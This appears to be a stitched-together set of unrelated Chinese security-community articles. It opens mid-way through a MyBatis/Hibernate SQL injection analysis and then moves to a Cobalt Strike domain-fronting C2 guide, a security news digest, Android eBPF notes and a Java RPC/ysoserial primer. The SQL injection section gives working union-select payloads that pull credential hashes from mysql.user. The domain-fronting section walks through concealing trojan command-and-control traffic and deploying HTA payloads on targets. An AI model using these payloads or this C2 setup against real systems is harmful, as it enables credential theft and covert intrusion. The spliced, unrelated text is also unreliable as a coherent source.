2. 执行准备过程：`DefaultSqlSession.selectOne()`执行sql（如果是从接口`getMapper`方式执行，首先会从MapperProxy动态代理获取DefaultSqlSession执行方法`selectxxx|update|delete|insert`），首先从Configuration获取MapperStatement，执行`executor.query()`。executor执行的第一步会先通过`MapperStatement.getBoundSql()`获取SQL，此时如果`MapperStatement.SqlSource`是动态即DynamicSqlSource，会先解析其中的动态标签比如`${}`会换成具体传入的参数值进行拼接，获取到SQL之后调用`executor.doQuery()`，如果存在预编译首先会调用JDBC处理预编译的SQL，最终通过PreparedStatementHandler调用JDBC执行SQL；
3. JDBC执行SQL并返回结果集
如下是mapper的select示例，第一个使用`${id}`，第二个使用`#{id}`，我们具体通过调试来看下`#`和`$`这两种符号的解析和执行过程中的处理方式。
<select id="getById" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
SELECT * FROM user where id=${id}
</select>
<select id="getByIdPrepare" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
SELECT * FROM user where id=#{id}
</select>
### 解析过程中`$`和`#`的不同
在解析StatementNode过程中创建SqlSource时，会调用`XMLScriptBuilder.parseScriptNode()`来生成动态和非动态SqlSource
深入分析`XMLScriptBuilder.parseScriptNode()`，先调用`XMLScriptBuilder.parseDynamicTags()`解析动态tag
在解析时会先通过`TextSqlNode.isDynamic()`判断是否存在动态标志
`TextSqlNode.isDynamic()`首先创建一个DynamicCheckerTokenParser用来解析动态标识符，调用createParser创建GenericTokenParser
createParser会返回一个`${}`标识符的标识符解析
#### `$`解析过程：
继续下一步调用`GenericTokenParser.parse()`
GenericTokenParser.parse中找到了openhandler即`${`，会调用`builder.append(handler.handleToken(expression.toString()))`
`handler.handleToken()`将isDynamic标志为`true`
当isDynamic为`true`，会实例化一个DynamicSqlSource对象，至此`$`动态SqlSource创建完成。
#### `#`解析过程：
当SQL是`SELECT * FROM user where id=#{id}`的情况下调用isDynamic()
，进一步调用`GenericTokenParser.parse()`
`GenericTokenParser.parse()`中没有找到openhandler即`${`，就不会进入后面的处理，直接将原来的text进行返回，因此isDynamic还是false
返回后初始化一个RawSqlSource实例
在RawSqlSource初始化时会自动进行解析：
SqlSourceBuilder$ParameterMappingTokenHandler主要解析`#{}`的情况
将`#{id}`替换成`?`进行占位，此时sql变成了`SELECT * FROM user where id=?`
小结：在创建SqlSource时，会根据`$`及动态标签来创建DynamicSqlSource，DynamicSqlSource不会对`${}`进行具体的处理，而非动态情况会创建RawSqlSource，在其初始化过程会直接将`#{}`替换成`?`占位符。
### 执行过程中`$`和`#`的不同：
#### `$`在执行过程中的解析：
在调用`MappedStatement.getBoundSql()`时，由于`$`对应的是DynamicSqlSource，会调用`DynamicSqlSource.getBoundSql()`获取sql
在`DynamicSqlSource.getBoundSql()`会调用`rootSqlNode.apply()`处理，此时调用的是`TextSqlNode.apply()`
在`TextSqlNode.apply()`中会创建一个`${}`的GenericTokenParser然后进行parse解析和追加
在解析时，调用`handler.handleToken()`根据标识符获取参数的内容
`handleToken()`中会将参数值`1 and 1=2 union select Host,User,1,authentication_string
from mysql.user limit 1`返回
拼接 最终获取的sql是`SELECT * FROM user where id=1 and 1=2 union select
Host,User,1,authentication_string from mysql.user limit 1`
#### `#`在执行过程中的解析：
`$`是在`getBoundSql()`获取sql过程中就将符号进行了处理，跟`$`不同的是，`#`是在执行器的执行过程中（本例是doQuery）进行处理，先通过调用`SimpleExecutor.prepareStatement()`处理预编译情况后，获取statement，然后调用JDBC执行
深入`prepareStatement()`，发现其最终通过动态代理调用`ClientPreparedStatement.setString()`
调用JDBC`ClientPreparedStatement.setString()`处理过程跟上述0x01部分的JDBC预编译处理statement一样。
### 注入场景：
除了上面的where，`like`、`in`、`order
by`查询条件不能直接使用`#{}`会报错，因此在开发时可能会直接使用`${}`从而产生SQL注入漏洞：
1、like:
当mapper如下：
<select id="getByLike" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
SELECT * FROM user where name like '%${name}%'
</select>
调用时传入参数为`wang%' and 1=2 union select Host,User,1,authentication_string from
mysql.user where User like '%root`时，绕过`%'`从而获取数据：
针对该场景可考虑以下形式修复：
<select id="getByLikePrepare" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
SELECT * FROM user where name like concat('%',#{name}, '%')
</select>
<select id="getByLikePrepare" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
SELECT * FROM user where name like "%"#{name}"%"
</select>
2、in：
当mapper如下：
<select id="getByIn" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
SELECT * FROM user where id in (${id})
</select>
调用时传入参数为`0) and 1=2 union select Host,User,1,authentication_string from
mysql.user where (1)=(1`时，闭合`)`从而获取数据：
针对该场景可考虑以下形式修复，传入数组：
<select id="getByInFix" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
SELECT * FROM user where id in
<foreach collection="array" item="id" index="index" open="(" close=")" separator=",">
#{id}
</foreach>
</select>
3、order by：
当mapper如下：
<select id="getByOrder" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
SELECT * FROM user order by ${coln} asc
</select>
调用时传入参数为`IF((select user())='root@localhost',id,name)`时：
针对该场景可考虑以下形式修复：
<select id="getByOrderFix" resultType="com.r17a.commonvuln.injection.sqli.mybatis.pojo.User">
SELECT * FROM user order by
<choose>
<when test="coln == 'id' or coln == 'name' or coln == 'password'">
${coln}
</when>
<otherwise>
name
</otherwise>
</choose>
asc
</select>
## 0x03 Hibernate SQLi
Hibernate 属于 **全自动 ORM 映射** 工具，使用
Hibernate查询关联对象或者关联集合对象时，可以根据对象关系模型直接获取。Hibernate查询方式如下代码，其中的
**表名不能是元数据表，必须是实体类名** ，并且区分大小写，并且Hibernate **不支持union联合查询**
。因此Hibernate的注入存在一定的局限性，不能像常规SQL注入一样利用。
Query<User> query = session.createQuery("from User where name = '" + name + "'", User.class);
上面代码采用拼接方式，当`lisi' and
user()='root@localhost`，返回数据时证明`user()='root@localhost'`，没有返回数据时证明user不是root，可以导致SQL注入：
当采用占位符预编译时：
Query<User> query = session.createQuery("from User where name = :name", User.class);
query.setParameter("name",name);
User user = query.getSingleResult();
`Loader.prepareQueryStatement()`会调用`QueryLoader.bindParameterValues`来处理预编译情况
最终`QueryLoader.bindParameterValues`同样会调用JDBC的`ClientPreparedStatement.setString()`完成预编译来防止SQL注入
## 0x04 参考链接：
https://b1ngz.github.io/java-sql-injection-note/
https://www.secpulse.com/archives/57197.html
https://www.redhatzone.com/ask/article/1448.html | 社区文章 |
# 暗度陈仓：基于国内某云的 Domain Fronting 技术实践
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、简介
Domain Fronting，中文译名 “域前置” 或
“域名前置”，是一种用于隐藏真实C2服务器IP且同时能伪装为与高信誉域名通信的技术，多用于木马受控端和控制端之间的隐蔽通信。
简言之，利用该技术，可以让受控端以为程序是在和一个高信誉域名通信，但实际上却是在和我们的C2服务器进行通信，效果如下：
全球著名的俄罗斯军方黑客组织 APT29 也曾被披露使用这项技术来逃避IDS的审查。
Domain Fronting 的技术原理图如下，在下面的 “原理” 一节中我们会详细解释该技术。
在这篇文章中，我们将基于国内某云来实践该技术，为什么说某云，而不指名道姓说出来？因为该厂商云的 CDN
有一个非常有意思的特性（下面会讲解），可很好的辅助我们进行红队测试，但知道这点的人不多，所以，到底是哪个云厂商，就交由各位凭借自身的信息检索和情报提取能力来判断了，在文章中会出现相关线索。但需要注意的是，除去这一特性后，本篇文章依然在所有云上通用。
## 二、原理
Domain Fronting 的核心技术是 CDN，所以我们先来了解下 CDN 的工作机制。
一般情况下，1台 CDN 会同时负责多个网站的加速服务，那问题来了：如果我访问的两个网站（a.com 和 b.com）都是由同1台 CDN
服务器（1.1.1.1）进行加速服务，那么当我使用浏览器访问这两个域名时，浏览器实际上访问的都是 1.1.1.1 这台 CDN
服务器，但我在浏览器访问的域名有可能是 a.com 也可能是 b.com，所以 1.1.1.1 这台 CDN
服务器必须清楚地知道我访问的是哪个域名，然后才能给我返回对应域名的内容，那 CDN 是如何知道我访问的是哪个域名呢？
答案就是在和 CDN 服务器通信时，在 HTTP 请求包的 Host 头中填入我们要访问的域名。
下面以1个真实例子进行讲解。
这里对两个网站执行 nslookup，可以发现它们使用的都是同样的一批 CDN 服务器。
对 klst.96jm.com 进行请求，返回的状态码为 301，
对 www.shhorse.com.cn 进行请求，返回的状态码为 302，
然后对它们其中共同的一台 CDN 服务器进行请求，并且设置 Host 头为 www.shhorse.com.cn，
可以发现，返回的结果和我们请求 www.shhorse.com.cn 时返回的结果一模一样，这说明我们依然成功请求到了
www.shhorse.com.cn，虽然我们请求的主机是 CDN 服务器。
由此可见，即使直接请求 CDN，只要 Host 头中带有想要访问的域名，CDN 就能知道你想和哪个域名通信，进而就能让你和指定的域名互相传送内容。
又由于我们访问 klst.96jm.com 时实际上访问的也是 125.94.49.222 这台CDN服务器，所以下面这样也是可行的，
可以看到，效果和上面直接请求 CDN 服务器一样，依然成功访问到了 www.shhorse.com.cn 这个域名下，而非表面上访问的
klst.96jm.com。
以上就是技术原理，只不过在 Domain Fronting 实战中，Host 头一般被设置为高信誉的域名（或者我们自己申请的 “形似” 高信誉域名的域名）。
另外，我们也可以知道，因为 CDN 的存在，我们访问网站时访问的实际上只是 CDN，而不是直接和网站的真实服务器进行通信，所以利用 CDN
的同时也可以隐藏我们真实C2服务器的 IP。
## 三、实践
了解原理后，我们通过 Cobalt Strike 来实践 Domain Fronting，这里笔者使用的 Cobalt Strike 版本为
3.14，服务器系统为 Ubuntu 16.04 x64。
正常情况下，第一步我们要做的是先申请一个域名（这个域名的作用是用来配合 CDN
来隐藏我们的C2服务器），然后再申请一个CDN对我们的所申请的域名进行加速，在这个过程中CDN会要求我们在域名的解析配置中设置相应的 CNAME。
但由于某云有一个有趣的特点：当 CDN 配置中的源 IP
为自己云的服务器时，加速时会跳过对域名的检验，直接与配置中的域名绑定的源服务器IP进行通信。利用该特性，我们不需要真正去申请 CDN
时所填写的域名中配置解析相应的 CNAME 了。换言之，只要我们的C2服务器属于该云的服务器，那么我们就无需申请域名，只需要在申请 CDN
时随便填一个没有人绑定过的域名就好了，而且这个域名我们可以填成任何高信誉的域名，例如
test.microsoft.com、oops.microsoft.com…
接下来我们直接去申请 CDN 即可，这里笔者把域名填为 fuck.microsoft.com。
(红色涂抹处填成你在该云C2服务器的公网IP)
点击下一步申请完成，一开始申请状态为这样：
等几分钟，就可以了，
CDN 申请完成后，就可以开始编辑 Cobalt Strike 要用到的 C2 Profile 文件了，我们直接使用开源项目
Malleable-C2-Profiles 中的 amazon.profile，但需要把其中的 Host 头改成我们自己在 CDN 中绑定的域名，如图：
（文件链接：[amazon.profile](https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile)）
修改成自己的域名后，在服务器上启动 teamserver，别忘记加上配置文件的选项，
（注意：这里在命令前加了个 nohup 指令，这是为了在关闭这个 Shell 后，teamserver 依然能继续运行，如果没加上 nohup
的话，在关闭这个 ssh shell 后，本次会话中启动的所有程序都将随着 shell 的关闭一起终止）
然后关闭系统自带的防火墙，让外部能访问进来。笔者使用的是 Ubuntu 16.04，所以执行 ufw disable
就把防火墙关掉了，读者可根据自己的系统来执行相应操作关闭防火墙。
需要注意的是，除了系统自带的防火墙外，部分云服务器的实例中仍带有额外的防火墙规则，如果系统防火墙都关掉了还是访问不到相关端口，那么十有八九就是这玩意在作怪。这里笔者的云服务器就有这功能，我直接添加了本次实践要配置的入站规则（即允许了
50050 和 80 端口），
然后我们打开 Cobalt Strike 的 web日志 视图，在 cmd 中用 curl 执行以下操作（域名换成你自己的，原理在第一节已经讲过）：
然后如果在 Cobalt Strike 的 web日志 中能看到对应请求信息，则说明配置成功：
上面都搞好后，就可以在 Cobalt Strike 中开搞了，首先创建一个 Listener，
申请 CDN 时绑定的是 80 端口，所以此处的端口也填 80，主机则填申请 CDN 时所绑定的域名，点击 Save 后会让弹出一个框，让我们填一个
beacon 通信的地址，我们直接填上该云任意一个CDN服务器的地址即可，
创建完成后如图所示：
Listener创建完成后，就可以开始创建 Agent 了，但由于使用了 Domain Fronting 技术，Cobalt Strike 默认生成的
Agent 会崩溃，因此我们需要一个针对 Domain Fronting 技术进行定制化的 Agent
Generator，这个已经有人写好了：[CACTUSTORCH](https://github.com/mdsecactivebreach/CACTUSTORCH)
把整个项目下载下来，解压到任意目录，然后在 Cobalt Strike 中打开脚本管理器，点击Load，找到刚刚下载的项目中的 cna
文件，点击OK，整个项目的脚本就成功加载到 Cobalt Strike 中了，
加载成功后，我们找到 “攻击” 菜单，可以发现最后多出了1个选项，这就是我们需要的 Agent Generator，
点击该选项，即可生成 Agent，
这里我生成 HTA 类型的 Agent，红色涂抹处填写你的C2服务器公网IP，Listener 选择之前创建的 HTTP-DF-C2，点击开始即可得到
payload的 下载地址，
然后我们在目标主机上执行该 Payload，同时打开 Wireshark 进行抓包，
可以发现，已经成功伪装成我们的高信誉域名。同时，Cobalt Strike 中也可以看到目标主机已经成功上线，
另外，我们在目标主机使用 Wireshark 过滤与真实C2服务器的通信，可以发现没有任何与真实主机的通信，至此，说明我们成功实现了 Domain
Fronting 技术。
## 四、总结
总结下来，实施 Domain Fronting 大致分为以下几步：
1\. 申请域名
2\. 申请CDN，加速上一步申请的域名
3\. 使用 curl 加上 Host 头访问CDN，测试是否成功
4\. 编辑好 C2 Profile 文件，作为 teamserver 中的一个选项运行之
5\. 使用特制的 Agent Generator 生成 Payload
6\. 在目标主机中运行 Payload
可以发现，利用 Domain Fronting
技术，在目标主机上只能看到系统是在和一个高信誉域名通信，并且不会产生任何与我们真实C2服务器的直接通信流量，伪装的同时还极佳地隐藏了我们的C2服务器，利用此技术，我们可以有效地躲避各种IDS，实施红队测试。 | 社区文章 |
# 【知识】9月24日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：54万辆汽车密码泄露、 **Coinhive已成为当前最火恶意程序**
、Retefe——通过永恒之蓝传播的银行木马、Linux木马利用IOT设备发送垃圾邮件、DenyAll WAF
RCE漏洞、Optionsbleed实践、利用深度学习优化密码猜解PassGAN。**
****资讯类：****
54万辆汽车密码泄露
<http://thehackernews.com/2017/09/hacker-track-car.html>
Coinhive已成为当前最火恶意程序
<https://www.bleepingcomputer.com/news/security/coinhive-is-rapidly-becoming-a-favorite-tool-among-malware-devs/>
Retefe——通过永恒之蓝传播的银行木马
<http://securityaffairs.co/wordpress/63332/malware/retefe-banking-trojan-eternalblue.html>
Linux木马利用IOT设备发送垃圾邮件
<http://thehackernews.com/2017/09/linux-malware-iot-hacking.html>
****
**技术类：**
DenyAll WAF RCE漏洞
[https://www.exploit-db.com/exploits/42769/?rss&utm_source=dlvr.it&utm_medium=twitter](https://www.exploit-db.com/exploits/42769/?rss&utm_source=dlvr.it&utm_medium=twitter)
.NET反序列化Payload生成
<https://github.com/pwntester/ysoserial.net>
基于Python的TCP后门
<https://github.com/TheBlaCkCoDeR09/Python_Reverse_TCP>
使用Nikto进行基本测试
<http://www.hackingtutorials.org/web-application-hacking/scanning-webservers-vulnerabilities-with-nikto/>
Optionsbleed实践
<https://www.securitysift.com/testing-optionsbleed/>
利用深度学习优化密码猜解PassGAN
<https://threatpost.com/deep-learning-passgan-tool-improves-password-guessing/128039/>
嗅探Gotenna数据包并获取投票人数据库
<https://www.hak5.org/episodes/season-22/hak5-2221-sniffing-gotenna-packets-and-voter-database-privacy-problems-at-def-con-25> | 社区文章 |
**作者：Hcamael@知道创宇404实验室
日期：2022年11月4日
相关阅读：
[在 Android 中开发 eBPF 程序学习总结（二）](https://paper.seebug.org/2009/ "在 Android 中开发
eBPF 程序学习总结（二）")**
最近在研究eBPF，做一下学习笔记。
# **起因**
其实是想学习一下ecapture是怎么实现的，但是实际在我`xiaomi
10`手机上测试的过程中（已经有root权限）发现，并没办法运行，因为`ecapture`需要内核开启`CONFIG_DEBUG_INFO_BTF`，这个配置信息可以通过`/proc/config.gz`中来查看是否开启。
我的手机的内核版本是4.19，没有开启BTF，但是BPF是开启了的，接着我继续查看`ecapture`的文档，说如果内核没有开启`BTF`，需要使用`make
nocore`编译，在github上有提供直接编译好的`nocore`安卓版，但是测试还是运行不了。接着自己编译了一波，但是仍然失败，感觉可能得严格按文档所述，需要内核版本大于等于5.4。
那么我的手机就没办法运行BPF程序了吗？接着，就开启了我的研究。
# **Android BPF demo**
在网上搜相关的学习资料，BPF相关的资料本身就挺少的，再过滤一下只限制Android平台，就更少了。
而且大部分能搜到的中文资料，都是一堆废话，或者一堆ctrl+c,
ctrl+v的文章，实际有用的太少了。安卓官方的资料中也只有一个简单的demo，而且使用的是Android.bp进行编译的，还需要本地搭建AOSP环境。
## **AOSP环境搭建**
这破环境真是绝了，挂上daili，我装了一个晚上还没好（速度也有4Mb/s了）。然后第二天搜到了能换国内源，下面放一下我的搭建环境的命令：
$ apt-get install -y repo
$ export EPO_URL='https://gerrit-googlesource.proxy.ustclug.org/git-repo'
$ repo init -u git://mirrors.ustc.edu.cn/aosp/platform/manifest -b android-12.1.0_r26
$ repo sync -c -j8
简单的几句命令就好了，但是要注意，内存建议大于16G，硬盘最好200G以上。
## **使用AOSP环境编译程序**
# 初始化一下环境变量
$ source build/envsetup.sh
# 初始化一下你想编译哪个版本的android程序
$ lunch aosp_crosshatch-userdebug
接着后续的测试代码可以参考测试代码，该文章中的代码，在我测试的过程中，没有啥问题，是能正常运行的，但是在第一次编译的时候，可能是AOSP架构的问题，会把整个项目都先编译一次，我安卓也搞的不多，也不知道如果只编译指定项目。不过在第一编译之后，后续只需要使用`m
name`，就可以只编译指定项目了。也是因为要编译整个项目，如果内存小于16G，是会编译失败的，如果本身内存不够，可以增加一下交换分区的大小。
## **Android上的BPF**
通过这个demo，能看出来，android下使用BPF程序的步骤如下：
>
> 首先把编译好的bpf.o程序放到`/system/etc/bpf/`目录下，这就要求我们需要有`/system`目录的可写权限，但是在我的手机上，就算有root权限了，`system`目录也没办法写。所以我把手机的系统从MIUI12，刷成了`evolution
> x`系统，然后通过`adb shell mount -o rw,remount
> /`来重新挂载根目录，这样就能写`/system/etc/bpf`目录了。
> 使用`bpfloader`程序，会自动加载`/system/etc/bpf`目录下的`*.o`文件，然后会在`/sys/fs/bpf`目录生成相应的`prog_xxx`和`map_xx`文件。
> 我们自己的loader文件需要通过`/sys/fs/bpf`目录下的那两个文件来和BPF程序进行交互。
# **深入研究Android下的BPF**
我根据Linux下的eBPF文件的资料，自己写了一个DEMO：
BPF程序bpftest.c
#include <linux/bpf.h>
#include <stdbool.h>
#include <stdint.h>
#include <bpf_helpers.h>
#include <string.h>
#define MAX_ARGV 128;
#define bpf_printk(fmt, args...) bpf_trace_printk(fmt, sizeof(fmt), ##args)
struct event_execv
{
uint32_t pid;
uint32_t gid;
char cmd[80];
};
DEFINE_BPF_MAP(execve_map, ARRAY, uint32_t, struct event_execv, 256);
struct execve_args
{
short common_type;
char common_flags;
char common_preempt_count;
int common_pid;
long __syscall_nr;
unsigned long args[6];
};
SEC("tracepoint/raw_syscalls/sys_enter")
int trace_execve_event(struct execve_args *ctx)
{
struct event_execv event;
uint32_t key = 1;
int comm;
char trace_buf[] = "[Debug] pid = %d, gid = %d, comm=%s\n";
memset(&event, 0, sizeof(event));
event.pid = bpf_get_current_pid_tgid();
event.gid = bpf_get_current_uid_gid();
bpf_execve_map_update_elem(&key, &event, BPF_ANY);
comm = bpf_get_current_comm(&event.cmd, sizeof(event.cmd));
if (comm != 0)
{
return -1;
}
event.cmd[79] = 0;
bpf_printk(trace_buf, event.pid, event.gid, event.cmd);
bpf_execve_map_update_elem(&key, &event, BPF_ANY);
return 0;
}
LICENSE("GPL");
## **map映射**
`DEFINE_BPF_MAP`是对map相关操作的一个宏定义，可以参考：bpf_helpers.h
#define DEFINE_BPF_MAP_NO_ACCESSORS(the_map, TYPE, TypeOfKey, TypeOfValue, num_entries) \
struct bpf_map_def SEC("maps") the_map = { \
.type = BPF_MAP_TYPE_##TYPE, \
.key_size = sizeof(TypeOfKey), \
.value_size = sizeof(TypeOfValue), \
.max_entries = (num_entries), \
};
#define DEFINE_BPF_MAP(the_map, TYPE, TypeOfKey, TypeOfValue, num_entries) \
DEFINE_BPF_MAP_NO_ACCESSORS(the_map, TYPE, TypeOfKey, TypeOfValue, num_entries) \
\
static inline __always_inline __unused TypeOfValue* bpf_##the_map##_lookup_elem( \
TypeOfKey* k) { \
return unsafe_bpf_map_lookup_elem(&the_map, k); \
}; \
\
static inline __always_inline __unused int bpf_##the_map##_update_elem( \
TypeOfKey* k, TypeOfValue* v, unsigned long long flags) { \
return unsafe_bpf_map_update_elem(&the_map, k, v, flags); \
}; \
\
static inline __always_inline __unused int bpf_##the_map##_delete_elem(TypeOfKey* k) { \
return unsafe_bpf_map_delete_elem(&the_map, k); \
};
比如我上面的代码为：`DEFINE_BPF_MAP(execve_map, ARRAY, uint32_t, struct event_execv,
256);`
我的map_name为`execve_map`，所以这个宏定义帮我定义了`bpf_execve_map_update_elem`这类的函数，帮我定义了结构体：
struct bpf_map_def SEC("maps") execve_map = {
.type = BPF_MAP_TYPE_##TYPE,
.key_size = sizeof(TypeOfKey),
.value_size = sizeof(TypeOfValue),
.max_entries = (num_entries),
};
并且在`/sys/fs/bpf`目录下生成的map文件的结构为：`map_(bpf文件名)_(定义的map_name)`，假如我编译的bpf文件名为：`bpftest.o`，放到`/system/etc/bpf/`目录下，那么在`/sys/fs/bpf`目录下生成的为：`map_bpftest_execve_map`。
map可以理解为，内核中的BPF和用户态之间的接口，在内存中是以键值对的形式存在的，按我理解，key和value的类型也是可以自己定义的，可以是int，指针，字符串，或者结构体，因为对于BPF来说，key和value就是内存中的一段值，只需要定义好key和value的size就好了，而在上面的结构体中就定义了key和value的大小。
用户态的loader可以通过`/sys/fs/bpf/map_bpftest_execve_map`和BPF程序来交换数据。
## **BPF函数编写**
这块知识的文章挺多的，在BPF的函数定义的上头都需要有一个`SEC("xxxx")`，在最开始的demo中还有另一个写法，以下两种写法是等同的：
SEC("tracepoint/sched/sched_switch")
int tp_sched_switch(struct switch_args* args)
{
......
}
DEFINE_BPF_PROG("tracepoint/sched/sched_switch", AID_ROOT, AID_NET_ADMIN, tp_sched_switch) (struct switch_args* args) {
......
}
SEC里面的字符串是为了定义下面的函数是什么类型的BPF程序，因为BPF程序也有很多中类型，比如`kprobe, kretprobe, uprobe,
uretprobe, tracepoint......`。
具体都有啥，可以参见：libbpf.c
再低一点的版本这个结构体的名字叫`section_names`，不过在我研究了一波之后，我感觉不能通过内核版本来确定我们可以用哪个`section`，需要通过`/sys/kernel/debug/`目录下的情况来确定，但是安卓手机上的情况却有一些不同，目录为:
`/sys/kernel/tracing/`，比如我上面代码中的：`SEC("tracepoint/raw_syscalls/sys_enter")`，是因为有以下目录：`/sys/kernel/tracing/events/raw_syscalls/sys_enter/`，并且`struct
execve_args`结构体是来源于：`/sys/kernel/tracing/events/raw_syscalls/sys_enter/format`
目前这种方式我觉得只适用于`tracepoint`，其他的还没研究到，后续研究到了再补充。
再android上，`/sys/fs/bpf/prog_xx`的命名方式为：`prog_(文件名)_(section名)_(分类，分类名之类的)`
比如我的代码中，文件名为`bpftest`，section名为`tracepoint`，tracepoint的分类为`raw_syscalls`，分类名为`sys_enter`，所以最后得到的文件为：`/sys/fs/bpf/prog_bpftest_tracepoint_raw_syscalls_sys_enter`
## **BPF相关函数**
bpf的相关函数可以参考`bpf_helper_defs.h`文件，比如上述的`bpf_get_current_pid_tgid`，表示获取触发该BPF的程序的pid，`bpf_get_current_uid_gid`是获取用户的gid，`bpf_get_current_comm`是获取程序名，还有其他的可以自行去看这个头文件的定义。
## **日志调试**
BPF提供一个`bpf_trace_printk`函数来打印调试信息，在android下，可以使用atrace命令来读取。
并且我通过strace对atrace进行跟踪发现，其实只需要执行下面两句命令：
$ echo 1 > /sys/kernel/tracing/tracing_on
$ cat /sys/kernel/tracing/trace_pipe
我在想，通过这个调试信息，好想也能把BPF的数据传送给用户态的loader程序。
# **参考**
1. <https://github.com/ehids/ecapture>
2. <https://zhuanlan.zhihu.com/p/482266243>
3. <https://github.com/omnirom/android_system_bpf/blob/0706429da9a9fb15d93d8ed8300af77410311a69/progs/include/bpf_helpers.h>
4. <https://elixir.bootlin.com/linux/v5.10.150/source/tools/lib/bpf/libbpf.c#L8319>
* * * | 社区文章 |
# ysoserial Java 反序列化系列第三集 Hibernate2
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.Hibernate简介
Hibernate是一个开放源代码的对象关系映射框架，它对JDBC进行了非常轻量级的对象封装，它将POJO与数据库表建立映射关系，是一个全自动的ORM框架，hibernate可以自动生成SQL语句，自动执行，使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。
Hibernate可以应用在任何使用JDBC的场合，既可以在Java的客户端程序使用，也可以在Servlet/JSP的Web应用中使用，最具革命意义的是，Hibernate可以在应用EJB的JaveEE架构中取代CMP，完成数据持久化的重任。
## 2.RPC简介
RPC(Remote Procedure Call)远程过程调用。允许一台计算机程序远程调用另外一台计算机的子程序，不用关心底层网络通信。
很多人对RPC的概念很模糊，其实RPC是建立在Socket的基础上的。通过Socket将对另一台计算机中的某个类的某个方法的请求同时包含该方法所需要传输的参数序列化传输过去，然后在另一台计算机接收后判断具体调用的哪个类的哪一个方法，然后通过反射调用该方法并传入参数，最终将方法的返回值序列化并通过Socket传输回发送方法调用请求的那台计算机上，这样的一个过程就是所谓的远程方法调用
一次RPC调用的过程大概有10步：
1.执行客户端调用语句，传送参数
2.调用本地系统发送网络消息
3.消息传送到远程主机
4.服务器得到消息并取得参数
5.根据调用请求以及参数执行远程过程（服务）
6.执行过程完毕，将结果返回服务器句柄
7.服务器句柄返回结果，调用远程主机的系统网络服务发送结果
8.消息传回本地主机
9.客户端句柄由本地主机的网络服务接收消息
10.客户端接收到调用语句返回的结果数据
以下是一张截取自网上的RPC执行流程图
接下来通过java代码来实现一个最简化的RPC Demo
先看一下文件结构首先是client端也就是发起远程方法请求的一方
然后是server端也就是处理远程方法请求的一方
首先看RpcPrincipleTestInterface接口，此接口是公开的，也就是这个接口文件是client端和server端中都存在的，接下来是RpcPrincipleTestInterface的代码
import java.io.Serializable;
public interface RpcPrincipleTestInterface extends Serializable {
public int myAdd(int firstNum, int SecondNum);
public int mySub(int firstNum, int SecondNum);
public String sayHello(String name);
}
然后我们观察client端的RpcPrincipleClientTestimpl.java
public class RpcPrincipleClientTestimpl {
public static void main(String[] args) throws Exception {
RpcPrincipleTestInterface rpcPrincipleTestInterface = (RpcPrincipleTestInterface) Stub.getStub();
int resultOne = rpcPrincipleTestInterface.myAdd(2, 3);
System.out.println(resultOne + "n");
int resultTwo = rpcPrincipleTestInterface.mySub(5, 4);
System.out.println(resultTwo + "n");
String resultThree = rpcPrincipleTestInterface.sayHello("张三");
System.out.println(resultThree + "n");
}
}
下面是执行结果
可以看到我们执行了RpcPrincipleTestInterface接口中的方法但是我们在本地并未有任何RpcPrincipleTestInterface接口的具体实现？那这些个执行结果究竟是谁给出的呢？
我们通过观察代码不难发现，为rpcPrincipleTestInterface变量赋值的是Stub.getStub()方法，该方法的返回值被我们强转成了RpcPrincipleTestInterface类型。那Stub.getStub()方法的返回值究竟是什么我们继续深入来看
下面是Stub.java的代码
public class Stub {
public static Object getStub() {
InvocationHandler h = new InvocationHandler() {@Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Socket socket = new Socket(“127.0.0.1”, 8888);
String methodName = method.getName();
if (methodName.equals("myAdd") || methodName.equals("mySub")) {
Class[] parameterType = method.getParameterTypes();
ObjectOutputStream outputStream = new ObjectOutputStream(socket.getOutputStream());
outputStream.writeUTF(methodName);
outputStream.writeObject(parameterType);
outputStream.writeObject(args);
outputStream.flush();
//outputStream.close();
DataInputStream inputStream = new DataInputStream(socket.getInputStream());
int result = inputStream.readInt();
inputStream.close();
return result;
} else if (methodName.equals("sayHello")) {
Class[] parameterType = method.getParameterTypes();
ObjectOutputStream outputStream = new ObjectOutputStream(socket.getOutputStream());
outputStream.writeUTF(methodName);
outputStream.writeObject(parameterType);
outputStream.writeObject(args);
outputStream.flush();
DataInputStream inputStream = new DataInputStream(socket.getInputStream());
String result = inputStream.readUTF();
return result;
} else {
System.out.println("请确认你调用的方法是否存在");
return null;
}
}
};
Object object = Proxy.newProxyInstance(RpcPrincipleTestInterface.class.getClassLoader(), new Class[] {
RpcPrincipleTestInterface.class
},
h);
return object;
}
}
不难看出最终返回的结果是一个实现了RpcPrincipleTestInterface接口的动态生成的Proxy对象，传入的handler参数中包含了调用远程方法的核心操作。
首先熟悉java动态代理的同学都清楚，当我们调用动态代理对象的某个方法时，其实都是在调用InvocationHandler对象中被重写的invoke方法。所以当我们在RpcPrincipleClientTestimpl中调用rpcPrincipleTestInterface.myAdd()方法时本质调用的是InvocationHandler.invoke方法。同时方法名“myAdd”作为参数传入invoke中，我们首先创建一个socket对象将请求的地址和端口作为参数传入。然后获取方法名，接下来判断当前调用的方法是哪一个，判断完成后，将方法名，参数类型，还有参数的值序列化发送给server端，然后通过DataInputStream读取socket接收到的数据并反序列化，然后进行返回。
讲完了client端，我们再来看看server端，首先来看RpcPrincipleTestImpl.java的代码
public class RpcPrincipleTestImpl implements RpcPrincipleTestInterface {
private static final long serialVersionUID = 8084422270826068537L;
@Override
public int myAdd(int firstNum, int SecondNum) {
return firstNum + SecondNum;
}
@Override
public int mySub(int firstNum, int SecondNum) {
return firstNum - SecondNum;
}
@Override
public String sayHello(String name) {
return name + "Say Hello";
}
}
